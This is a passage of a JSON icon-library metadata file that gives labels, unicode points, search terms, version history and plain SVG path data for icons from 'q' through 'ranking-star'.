        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z"
      }
    },
    "free": ["brands"]
  },
  "q": {
    "aliases": {
      "unicodes": {
        "composite": ["71"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter Q", "Latin Small Letter Q", "letter"]
    },
    "styles": ["solid"],
    "unicode": "51",
    "label": "Q",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 256c0 88.4 71.6 160 160 160c28.9 0 56-7.7 79.4-21.1l-72-86.4c-11.3-13.6-9.5-33.8 4.1-45.1s33.8-9.5 45.1 4.1l70.9 85.1C371.9 325.8 384 292.3 384 256c0-88.4-71.6-160-160-160S64 167.6 64 256zM344.9 444.6C310 467 268.5 480 224 480C100.3 480 0 379.7 0 256S100.3 32 224 32s224 100.3 224 224c0 56.1-20.6 107.4-54.7 146.7l47.3 56.8c11.3 13.6 9.5 33.8-4.1 45.1s-33.8 9.5-45.1-4.1l-46.6-55.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 256c0 88.4 71.6 160 160 160c28.9 0 56-7.7 79.4-21.1l-72-86.4c-11.3-13.6-9.5-33.8 4.1-45.1s33.8-9.5 45.1 4.1l70.9 85.1C371.9 325.8 384 292.3 384 256c0-88.4-71.6-160-160-160S64 167.6 64 256zM344.9 444.6C310 467 268.5 480 224 480C100.3 480 0 379.7 0 256S100.3 32 224 32s224 100.3 224 224c0 56.1-20.6 107.4-54.7 146.7l47.3 56.8c11.3 13.6 9.5 33.8-4.1 45.1s-33.8 9.5-45.1-4.1l-46.6-55.9z"
      }
    },
    "free": ["solid"]
  },
  "qq": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d6",
    "label": "QQ",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z"
      }
    },
    "free": ["brands"]
  },
  "qrcode": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f029"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["barcode", "info", "information", "scan"]
    },
    "styles": ["solid"],
    "unicode": "f029",
    "label": "Qrcode",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 80C0 53.5 21.5 32 48 32h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80zM64 96v64h64V96H64zM0 336c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V336zm64 16v64h64V352H64zM304 32h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H304c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48zm80 64H320v64h64V96zM256 304c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s7.2-16 16-16s16 7.2 16 16v96c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s-7.2-16-16-16s-16 7.2-16 16v64c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V304zM368 480a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm64 0a16 16 0 1 1 0-32 16 16 0 1 1 0 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 80C0 53.5 21.5 32 48 32h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80zM64 96v64h64V96H64zM0 336c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V336zm64 16v64h64V352H64zM304 32h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H304c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48zm80 64H320v64h64V96zM256 304c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s7.2-16 16-16s16 7.2 16 16v96c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s-7.2-16-16-16s-16 7.2-16 16v64c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V304zM368 480a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm64 0a16 16 0 1 1 0-32 16 16 0 1 1 0 32z"
      }
    },
    "free": ["solid"]
  },
  "question": {
    "aliases": {
      "unicodes": {
        "composite": ["2753", "2754", "f128"],
        "primary": ["f128"],
        "secondary": ["103f", "10f128"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "?",
        "Question Mark",
        "help",
        "information",
        "mark",
        "outlined",
        "punctuation",
        "question",
        "red question mark",
        "support",
        "unknown",
        "white question mark"
      ]
    },
    "styles": ["solid"],
    "unicode": "3f",
    "label": "Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M80 160c0-35.3 28.7-64 64-64h32c35.3 0 64 28.7 64 64v3.6c0 21.8-11.1 42.1-29.4 53.8l-42.2 27.1c-25.2 16.2-40.4 44.1-40.4 74V320c0 17.7 14.3 32 32 32s32-14.3 32-32v-1.4c0-8.2 4.2-15.8 11-20.2l42.2-27.1c36.6-23.6 58.8-64.1 58.8-107.7V160c0-70.7-57.3-128-128-128H144C73.3 32 16 89.3 16 160c0 17.7 14.3 32 32 32s32-14.3 32-32zm80 320a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M80 160c0-35.3 28.7-64 64-64h32c35.3 0 64 28.7 64 64v3.6c0 21.8-11.1 42.1-29.4 53.8l-42.2 27.1c-25.2 16.2-40.4 44.1-40.4 74V320c0 17.7 14.3 32 32 32s32-14.3 32-32v-1.4c0-8.2 4.2-15.8 11-20.2l42.2-27.1c36.6-23.6 58.8-64.1 58.8-107.7V160c0-70.7-57.3-128-128-128H144C73.3 32 16 89.3 16 160c0 17.7 14.3 32 32 32s32-14.3 32-32zm80 320a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "quinscape": {
    "changes": ["5.0.5", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f459",
    "label": "QuinScape",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z"
      }
    },
    "free": ["brands"]
  },
  "quora": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2c4",
    "label": "Quora",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z"
      }
    },
    "free": ["brands"]
  },
  "quote-left": {
    "aliases": {
      "names": ["quote-left-alt"],
      "unicodes": {
        "composite": ["201c"],
        "secondary": ["10f10d"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Left Double Quotation Mark",
        "mention",
        "note",
        "phrase",
        "text",
        "type"
      ]
    },
    "styles": ["solid"],
    "unicode": "f10d",
    "label": "Quote Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 216C0 149.7 53.7 96 120 96h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-30.9 0-56 25.1-56 56v8h64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320 288 216zm256 0c0-66.3 53.7-120 120-120h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-30.9 0-56 25.1-56 56v8h64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H320c-35.3 0-64-28.7-64-64V320 288 216z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 216C0 149.7 53.7 96 120 96h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-30.9 0-56 25.1-56 56v8h64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320 288 216zm256 0c0-66.3 53.7-120 120-120h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-30.9 0-56 25.1-56 56v8h64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H320c-35.3 0-64-28.7-64-64V320 288 216z"
      }
    },
    "free": ["solid"]
  },
  "quote-right": {
    "aliases": {
      "names": ["quote-right-alt"],
      "unicodes": {
        "composite": ["201d"],
        "secondary": ["10f10e"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Right Double Quotation Mark",
        "mention",
        "note",
        "phrase",
        "text",
        "type"
      ]
    },
    "styles": ["solid"],
    "unicode": "f10e",
    "label": "Quote Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 296c0 66.3-53.7 120-120 120h-8c-17.7 0-32-14.3-32-32s14.3-32 32-32h8c30.9 0 56-25.1 56-56v-8H320c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64h64c35.3 0 64 28.7 64 64v32 32 72zm-256 0c0 66.3-53.7 120-120 120H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h8c30.9 0 56-25.1 56-56v-8H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64h64c35.3 0 64 28.7 64 64v32 32 72z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 296c0 66.3-53.7 120-120 120h-8c-17.7 0-32-14.3-32-32s14.3-32 32-32h8c30.9 0 56-25.1 56-56v-8H320c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64h64c35.3 0 64 28.7 64 64v32 32 72zm-256 0c0 66.3-53.7 120-120 120H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h8c30.9 0 56-25.1 56-56v-8H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64h64c35.3 0 64 28.7 64 64v32 32 72z"
      }
    },
    "free": ["solid"]
  },
  "r": {
    "aliases": {
      "unicodes": {
        "composite": ["72"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter R", "Latin Small Letter R", "letter"]
    },
    "styles": ["solid"],
    "unicode": "52",
    "label": "R",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V288 448c0 17.7 14.3 32 32 32s32-14.3 32-32V320h95.3L261.8 466.4c10.1 14.5 30.1 18 44.6 7.9s18-30.1 7.9-44.6L230.1 309.5C282.8 288.1 320 236.4 320 176c0-79.5-64.5-144-144-144H64zM176 256H64V96H176c44.2 0 80 35.8 80 80s-35.8 80-80 80z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V288 448c0 17.7 14.3 32 32 32s32-14.3 32-32V320h95.3L261.8 466.4c10.1 14.5 30.1 18 44.6 7.9s18-30.1 7.9-44.6L230.1 309.5C282.8 288.1 320 236.4 320 176c0-79.5-64.5-144-144-144H64zM176 256H64V96H176c44.2 0 80 35.8 80 80s-35.8 80-80 80z"
      }
    },
    "free": ["solid"]
  },
  "r-project": {
    "changes": ["5.0.11", "5.0.12"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f7",
    "label": "R Project",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 581 512\"><path d=\"M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z\"/></svg>",
        "viewBox": [0, 0, 581, 512],
        "width": 581,
        "height": 512,
        "path": "M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z"
      }
    },
    "free": ["brands"]
  },
  "radiation": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7b9"]
      }
    },
    "changes": [
      "5.6.0",
      "5.8.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "danger",
        "dangerous",
        "deadly",
        "hazard",
        "nuclear",
        "radioactive",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7b9",
    "label": "Radiation",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216 186.7c-23.9 13.8-40 39.7-40 69.3L32 256C14.3 256-.2 241.6 2 224.1C10.7 154 47.8 92.7 101.3 52c14.1-10.7 33.8-5.3 42.7 10l72 124.7zM256 336c14.6 0 28.2-3.9 40-10.7l72 124.8c8.8 15.3 3.7 35.1-12.6 41.9c-30.6 12.9-64.2 20-99.4 20s-68.9-7.1-99.4-20c-16.3-6.9-21.4-26.6-12.6-41.9l72-124.8c11.8 6.8 25.4 10.7 40 10.7zm224-80l-144 0c0-29.6-16.1-55.5-40-69.3L368 62c8.8-15.3 28.6-20.7 42.7-10c53.6 40.7 90.6 102 99.4 172.1c2.2 17.5-12.4 31.9-30 31.9zM256 208a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M216 186.7c-23.9 13.8-40 39.7-40 69.3L32 256C14.3 256-.2 241.6 2 224.1C10.7 154 47.8 92.7 101.3 52c14.1-10.7 33.8-5.3 42.7 10l72 124.7zM256 336c14.6 0 28.2-3.9 40-10.7l72 124.8c8.8 15.3 3.7 35.1-12.6 41.9c-30.6 12.9-64.2 20-99.4 20s-68.9-7.1-99.4-20c-16.3-6.9-21.4-26.6-12.6-41.9l72-124.8c11.8 6.8 25.4 10.7 40 10.7zm224-80l-144 0c0-29.6-16.1-55.5-40-69.3L368 62c8.8-15.3 28.6-20.7 42.7-10c53.6 40.7 90.6 102 99.4 172.1c2.2 17.5-12.4 31.9-30 31.9zM256 208a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "radio": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4fb"],
        "secondary": ["10f8d7"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "am",
        "broadcast",
        "fm",
        "frequency",
        "music",
        "news",
        "radio",
        "receiver",
        "transmitter",
        "tuner",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8d7",
    "label": "Radio",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M494.8 47c12.7-3.7 20-17.1 16.3-29.8S494-2.8 481.2 1L51.7 126.9c-9.4 2.7-17.9 7.3-25.1 13.2C10.5 151.7 0 170.6 0 192v4V304 448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H218.5L494.8 47zM368 240a80 80 0 1 1 0 160 80 80 0 1 1 0-160zM80 256c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16zM64 320c0-8.8 7.2-16 16-16H208c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm16 64c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M494.8 47c12.7-3.7 20-17.1 16.3-29.8S494-2.8 481.2 1L51.7 126.9c-9.4 2.7-17.9 7.3-25.1 13.2C10.5 151.7 0 170.6 0 192v4V304 448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H218.5L494.8 47zM368 240a80 80 0 1 1 0 160 80 80 0 1 1 0-160zM80 256c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16zM64 320c0-8.8 7.2-16 16-16H208c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm16 64c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "rainbow": {
    "aliases": {
      "unicodes": {
        "composite": ["1f308"],
        "secondary": ["10f75b"]
      }
    },
    "changes": ["5.5.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["gold", "leprechaun", "prism", "rain", "rainbow", "sky"]
    },
    "styles": ["solid"],
    "unicode": "f75b",
    "label": "Rainbow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96C178.6 96 64 210.6 64 352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352C0 175.3 143.3 32 320 32s320 143.3 320 320v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352C576 210.6 461.4 96 320 96zm0 192c-35.3 0-64 28.7-64 64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-70.7 57.3-128 128-128s128 57.3 128 128v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-35.3-28.7-64-64-64zM160 352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-123.7 100.3-224 224-224s224 100.3 224 224v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-88.4-71.6-160-160-160s-160 71.6-160 160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96C178.6 96 64 210.6 64 352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352C0 175.3 143.3 32 320 32s320 143.3 320 320v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352C576 210.6 461.4 96 320 96zm0 192c-35.3 0-64 28.7-64 64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-70.7 57.3-128 128-128s128 57.3 128 128v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-35.3-28.7-64-64-64zM160 352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-123.7 100.3-224 224-224s224 100.3 224 224v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-88.4-71.6-160-160-160s-160 71.6-160 160z"
      }
    },
    "free": ["solid"]
  },
  "ranking-star": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chart", "first place", "podium", "rank", "win"]
    },
    "styles": ["solid"],
    "unicode": "e561",
    "label": "Ranking Star",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
